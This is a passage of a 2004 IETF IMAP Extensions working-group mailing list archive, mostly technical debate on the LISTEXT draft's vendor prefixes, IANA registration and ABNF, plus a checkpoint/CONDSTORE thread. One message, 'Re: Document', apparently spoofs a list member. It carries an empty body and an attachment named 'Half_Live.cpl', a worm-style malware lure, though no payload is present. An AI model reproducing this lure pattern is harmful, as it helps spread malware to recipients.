(8.12.10/8.12.10) with ESMTP id i4IDklaf011634; Tue, 18 May 2004 09:46:47 -0400 Date: Tue, 18 May 2004 09:46:47 -0400 (EDT) From: Rob Siemborski To: Alexey Melnikov cc: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40A93D83.6030505@isode.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 17 May 2004, Alexey Melnikov wrote: > Firstly, I suspect that some vendor specific options might end up being > used by other implementations as well. So it is important that there is > a single place where all options are documented. Besides, sending an > email to IANA for new registrations is not that difficult. If there is a generally useful option that a vendor supplies, I think it'd be a better approach to standardize it outside of the vendor namespace than to say "eh, lets just use it in the vendor namespace". > Another interesting question is how to disallow people from registering > options under other's vendor prefix. Should I add a template for vendor > prefix registration? Yes -- you should always have to register the vendor prefix. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4ID9bu3049459; Tue, 18 May 2004 06:09:37 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4ID9b2l049458; Tue, 18 May 2004 06:09:37 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4ID9aSk049413 for ; Tue, 18 May 2004 06:09:37 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (69-161-93-210.bflony.adelphia.net [69.161.93.210]) (authenticated bits=0) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4ID9UAv005230 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Tue, 18 May 2004 09:09:32 -0400 (EDT) Message-ID: <40AA0B05.2010703@oceana.com> Date: Tue, 18 May 2004 09:09:25 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: IMAP Extensions WG Subject: Re: checkpoint References: <40A9C52A.8070308@ehsco.com> In-Reply-To: <40A9C52A.8070308@ehsco.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Eric A. Hall wrote: > > We've talked before about the troubles with using IMAP to open very large > folders over long and/or thin pipes -- the synch time is death. I'm > running into this more often and am about to the point where I'm going to > write up a checkpoint mechanism of some kind that does basic "here's a > marker; only send me changes made afterwards". Maybe I'm missing the intent, but can't CONDSTORE be used for this purpose? See Section 3.3.1 of http://www.ietf.org/internet-drafts/draft-ietf-imapext-condstore-05.txt -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I9ooW0024895; Tue, 18 May 2004 02:50:50 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I9ooN2024894; Tue, 18 May 2004 02:50:50 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I9onkv024867 for ; Tue, 18 May 2004 02:50:49 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 18 May 2004 10:50:45 +0100 Message-ID: <40A93D83.6030505@isode.com> Date: Mon, 17 May 2004 23:32:35 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tony Hansen CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> In-Reply-To: <40A82163.2020604@att.com> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Tony Hansen wrote: > Alexey Melnikov wrote: > >> I've also added some text regarding option/extended data item naming. >> The text reads: >> A LISTEXT option/extended data item name that starts with "V-" is >> reserved >> for vendor specific options/extended data items. All options, whether >> they are vendor specific or global, should be registered with IANA. >> If a LISTEXT extended data item is returned as a result of requesting >> a particular LISTEXT option, the name of the option SHOULD be used >> as the name of the LISTEXT extended data item. >> LISTEXT option/extended data item names are case insensitive. >> >> Please, let me know if you agree/disagree. >> >> 5) Added Vendor prefix in "options" and "extended data tags". > > > A couple of comments: > > Other vendor namespaces have all used "vnd". Why pick something > different? Ok, what about changing prefix to "VND-"? (I like the dash ;-)). > All other vendor namespaces I can think of are of have one of these > two registration policies: 1) the vendor namespace is registered with > IANA, but individual options under the namespace are NOT registered > with IANA, or 2) the vendor namespace is based on the vendor's domain > name and no registration with IANA is necessary. Why does IANA have to > register ALL options? Why not use one of these registration policies? Firstly, I suspect that some vendor specific options might end up being used by other implementations as well. So it is important that there is a single place where all options are documented. Besides, sending an email to IANA for new registrations is not that difficult. Another interesting question is how to disallow people from registering options under other's vendor prefix. Should I add a template for vendor prefix registration? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8itSm002941; Tue, 18 May 2004 01:44:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I8itpP002940; Tue, 18 May 2004 01:44:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from chiba.org (gateway.pspl.co.in [203.199.147.2]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4I8iqwt002885 for ; Tue, 18 May 2004 01:44:53 -0700 (PDT) (envelope-from ken@oceana.com) Date: Tue, 18 May 2004 14:14:48 +0530 To: "Ietf-imapext" From: "Ken" Subject: Re: Document Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------rjwbmoctnkapcnxpoiil" Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------rjwbmoctnkapcnxpoiil Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------rjwbmoctnkapcnxpoiil Content-Type: application/octet-stream; name="Half_Live.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.cpl" ----------rjwbmoctnkapcnxpoiil-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8BQq2091374; Tue, 18 May 2004 01:11:26 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I8BQ39091372; Tue, 18 May 2004 01:11:26 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from goose.ehsco.com (goose.ehsco.com [207.65.203.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8BQZZ091362 for ; Tue, 18 May 2004 01:11:26 -0700 (PDT) (envelope-from ehall@ehsco.com) Received: from ehsco.com (ferret.corp.ntrg.com [207.65.71.20]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "Eric A. Hall", Issuer "Network Technology Research Group Certificate Authority" (verified OK)) by goose.ehsco.com (Postfix ) with ESMTP id ACE601E5A4 for ; Tue, 18 May 2004 03:11:25 -0500 (CDT) Message-ID: <40A9C52A.8070308@ehsco.com> Date: Tue, 18 May 2004 03:11:22 -0500 From: "Eric A. Hall" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: checkpoint Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: We've talked before about the troubles with using IMAP to open very large folders over long and/or thin pipes -- the synch time is death. I'm running into this more often and am about to the point where I'm going to write up a checkpoint mechanism of some kind that does basic "here's a marker; only send me changes made afterwards". Any suggestions or thoughts would be good to have right about now. What's a reasonable limit on journal depth, for example. Obviously the journal changes shouldn't exceed the number of messsages, since that's counter productive, but is there some other limit where it stops making sense. What about extension handling, like if a server had negotiated a feature with one client but not this one, but those attributes were recorded in the journal and will be nonsensical if they are played back to the current client. Any other thoughts would be appreciated. Thanks -- Eric A. Hall http://www.ehsco.com/ Internet Core Protocols http://www.oreilly.com/catalog/coreprot/ Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HJixfM097997; Mon, 17 May 2004 12:44:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4HJixQo097996; Mon, 17 May 2004 12:44:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HJiwjx097981 for ; Mon, 17 May 2004 12:44:58 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19232; Mon, 17 May 2004 15:45:00 -0400 (EDT) Message-Id: <200405171945.PAA19232@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-list-extensions-06.txt Date: Mon, 17 May 2004 15:45:00 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : IMAP4 LIST Command Extensions Author(s) : B. Leiba Filename : draft-ietf-imapext-list-extensions-06.txt Pages : 0 Date : 2004-5-17 IMAP4 has two commands for listing mailboxes: LIST and LSUB. As we have added extensions that have required specialized lists (see [MboxRefer] for an example) we have had to expand the number of list commands, since each extension must add its function to both LIST and LSUB, and these commands are not, as they are defined, extensible. If we've needed the extensions to work together, we've had to add a set of commands to mix the different options, the set increasing in size with each new extension. This document describes an extension to the base LIST command that will allow these additions to be done with mutually compatible options to the LIST command, avoiding the exponential increase in specialized list commands. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-list-extensions-06.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-list-extensions-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-list-extensions-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-17155930.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-list-extensions-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-list-extensions-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-17155930.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HGi8qB085320; Mon, 17 May 2004 09:44:08 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4HGi8GW085319; Mon, 17 May 2004 09:44:08 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HGi6Lo085311 for ; Mon, 17 May 2004 09:44:07 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4HGi6af009591; Mon, 17 May 2004 12:44:06 -0400 Date: Mon, 17 May 2004 12:44:06 -0400 (EDT) From: Rob Siemborski To: Tony Hansen cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40A82163.2020604@att.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Sun, 16 May 2004, Tony Hansen wrote: > A couple of comments: > > Other vendor namespaces have all used "vnd". Why pick something different? Which ones are you referring to? The ANNOTATE and ANNOTATEMORE extensions use /vendor > All other vendor namespaces I can think of are of have one of these two > registration policies: 1) the vendor namespace is registered with IANA, but > individual options under the namespace are NOT registered with IANA, or 2) the > vendor namespace is based on the vendor's domain name and no registration with > IANA is neessary. Why does IANA have to register ALL options? Why not use one of > these registration policies? Offhand, I'm fine with either of these policies (and prefer them to having to register all of the options -- if there's some hope of interoperability for an option, it should just be created in the normal way). -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H2KNle034118; Sun, 16 May 2004 19:20:23 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4H2KNlG034117; Sun, 16 May 2004 19:20:23 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ckmso2.proxy.att.com (ckmso2.att.com [209.219.209.75]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H2KKfN033918 for ; Sun, 16 May 2004 19:20:21 -0700 (PDT) (envelope-from tony@att.com) Received: from maillennium.att.com ([135.25.114.99]) by ckmso2.proxy.att.com (AT&T IPNS/MSO-5.5) with ESMTP id i4H2KK3w008057 for ; Sun, 16 May 2004 22:20:20 -0400 Received: from att.com (unknown[135.210.73.25](misconfigured sender)) by maillennium.att.com (mailgw1) with ESMTP id <20040517021921gw100882vce> (Authid: tony); Mon, 17 May 2004 02:19:21 +0000 Message-ID: <40A82163.2020604@att.com> Date: Sun, 16 May 2004 22:20:19 -0400 From: Tony Hansen User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) X-Accept-Language: en-us, en, es MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> In-Reply-To: <40A6A0CD.5020200@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I've also added some text regarding option/extended data item naming. > The text reads: > A LISTEXT option/extended data item name that starts with "V-" is > reserved > for vendor specific options/extended data items. All options, whether > they are vendor specific or global, should be registered with IANA. > If a LISTEXT extended data item is returned as a result of requesting > a particular LISTEXT option, the name of the option SHOULD be used > as the name of the LISTEXT extended data item. > LISTEXT option/extended data item names are case insensitive. > > Please, let me know if you agree/disagree. > > 5) Added Vendor prefix in "options" and "extended data tags". A couple of comments: Other vendor namespaces have all used "vnd". Why pick something different? All other vendor namespaces I can think of are of have one of these two registration policies: 1) the vendor namespace is registered with IANA, but individual options under the namespace are NOT registered with IANA, or 2) the vendor namespace is based on the vendor's domain name and no registration with IANA is neessary. Why does IANA have to register ALL options? Why not use one of these registration policies? Tony Hansen tony@att.com Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4GL4sGl014823; Sun, 16 May 2004 14:04:54 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4GL4sge014822; Sun, 16 May 2004 14:04:54 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4GL4roo014812 for ; Sun, 16 May 2004 14:04:53 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (1Cust23.tnt9.lnd4.gbr.da.uu.net [62.188.138.23]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 16 May 2004 22:04:39 +0100 Message-ID: <40A6A0CD.5020200@isode.com> Date: Sat, 15 May 2004 23:59:25 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Update to LISTEXT draft Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I've just sent an update to the LISTEXT draft. Please, read this message as it contains some important changes. In brief, it contains the following changes/additions: 1) Added a section that summarizes what a LISTEXT implementation has to implement. 2) Removed LIST-SUBSCRIBED capability, now it is a part of LISTEXT. 3) Updated ABNF as per recent discussion (Rob's suggestion as modified by Philip). This also includes changing the first parameter of mbox-list-extended-item-data to be atom. 4) Added IANA consideration section. This is mostly cut and paste from draft-ietf-sasl-rfc2222bis-07.txt and changing "SASL mechanism" to "LISTEXT option/extended data item" where appropriate. I've also added 2 new IANA registration templates (one for LISTEXT option and one for LISTEXT extended data item) and 3 initial registrations for the options described in the document. I've also added some text regarding option/extended data item naming. The text reads: A LISTEXT option/extended data item name that starts with "V-" is reserved for vendor specific options/extended data items. All options, whether they are vendor specific or global, should be registered with IANA. If a LISTEXT extended data item is returned as a result of requesting a particular LISTEXT option, the name of the option SHOULD be used as the name of the LISTEXT extended data item. LISTEXT option/extended data item names are case insensitive. Please, let me know if you agree/disagree. 5) Added Vendor prefix in "options" and "extended data tags". 6) Add a note saying that a client implementation which doesn't recognize a particular mbox-list-extended-item-data type MUST ignore it. 7) I've added a sentence saying: "This documents obsoletes RFC 3348 and updates RFC 2193". Do people agree? Maybe the statement regarding RFC 3348 (Children extension) is too strong? (A revision of the RFC 2193 will obsolete the RFC 2193, LISTEXT only updates it). If you got to this point, here some news: I consider the document to be ready for the WG Last Call. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CJZOxv050257; Wed, 12 May 2004 12:35:24 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CJZOkq050256; Wed, 12 May 2004 12:35:24 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CJZJeM050239 for ; Wed, 12 May 2004 12:35:19 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4CJZLvF023883 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 12 May 2004 12:35:21 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4CJZKEC020714 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 12 May 2004 12:35:21 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4CJZKHe059282; Wed, 12 May 2004 12:35:20 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405121935.i4CJZKHe059282@lab.smi.sendmail.com> To: Alexey Melnikov From: Philip Guenther Cc: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-reply-to: <40A272E0.60109@isode.com> References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> <40A272E0.60109@isode.com> Date: Wed, 12 May 2004 12:35:20 -0700 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov writes: >Philip Guenther wrote: ... >>Oh, and I think there was another typo: mbox-list-extended-item-data >>should be defined to use astring instead of string so that the first >>thing in each extended item can be an atom. >> >Maybe, but if you look at ACL2, it uses the existing syntax ;-). The examples use a string instead of an atom, but that doesn't show whether it's an astring or nstring. ;-) Hmm, looking back at previous messages, I see that your examples for the REFERRAL extended data sent "REFERRAL" as a string, but your ABNF showed it as an atom. >>Hmm, actually, I would support using 'atom' there and require that it >>match the atom in the LIST argument list that caused it to appear. >> >> >So you want to change mbox-list-extended-item-data to be: > > mbox-list-extended-item-data = option SP simple-nstring-list Exactly. I would like to back off of my previous remark about requiring it to match the LIST option that made it appear, in the sense that the server should be allowed to include items in the mbox-list-extended data that were not unsolicited in the LIST command. >I am wondering if there would be any cases where "atom" is not sufficient? The requirement would only be for that first item that 'tags' each toplevel entry in the mbox-list-extended. An extension built on LISTEXT that could send arbitrary data in every position of its mbox-list-extended-item would be impossible to recognize reliably, as it might 'accidentally' send data that looked like a referral or an ACL. Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CIsm11047399; Wed, 12 May 2004 11:54:48 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CIsmHo047398; Wed, 12 May 2004 11:54:48 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CIsldA047389 for ; Wed, 12 May 2004 11:54:47 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 12 May 2004 19:54:25 +0100 Message-ID: <40A272E0.60109@isode.com> Date: Wed, 12 May 2004 19:54:24 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Phlip Guenther CC: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> In-Reply-To: <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Phlip Guenther wrote: >Rob Siemborski writes: > > >>Its probably reasonable to also permit the empty list -- I didn't think >>too hard about that. >> >> > >Okay, so wrap the list contents in brackets. > > simple-nstring-list = nstring / > "(" [simple-nstring-list *(SP simple-nstring-list)] ")" > ;; a recursive list definition > > >Oh, and I think there was another typo: mbox-list-extended-item-data >should be defined to use astring instead of string so that the first >thing in each extended item can be an atom. > Maybe, but if you look at ACL2, it uses the existing syntax ;-). > mbox-list-extended-item-data = astring SP simple-nstring-list > >Hmm, actually, I would support using 'atom' there and require that it >match the atom in the LIST argument list that caused it to appear. > > So you want to change mbox-list-extended-item-data to be: mbox-list-extended-item-data = option SP simple-nstring-list where option = "SUBSCRIBED" / "CHILDREN" / "REMOTE" / option-extension option-extension = atom ? I am wondering if there would be any cases where "atom" is not sufficient? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CDcpbn022612; Wed, 12 May 2004 06:38:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CDcpih022611; Wed, 12 May 2004 06:38:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CDcltP022601 for ; Wed, 12 May 2004 06:38:50 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 12 May 2004 14:38:47 +0100 Message-ID: <40A1F1A1.9000607@isode.com> Date: Wed, 12 May 2004 10:42:57 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: IMAP Extensions WG Subject: Re: Do a list last call on annotate docs? References: <0904BD6844289616790F846A@ninevah.cyrusoft.com> In-Reply-To: <0904BD6844289616790F846A@ninevah.cyrusoft.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > Hi folks, > Recently new versions of the two annotate documents were posted. If > the chairs agree, I think we should do a list last call on these and > progress them through the draft process. Have we resolved the issue with SORT interaction? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com 